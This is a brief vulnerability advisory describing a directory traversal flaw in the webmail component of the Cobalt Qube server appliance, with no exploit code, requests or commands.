Cobalt Qube is an fully-featured network "server appliance".
It includes pre-installed tools and applications and can be put online with very little configuration.

A vulnerability in Cobalt Qube's webmail implementation allows remote attackers to traverse directories. Malformed HTTP requests can be crafted to display sensitive information about the host.
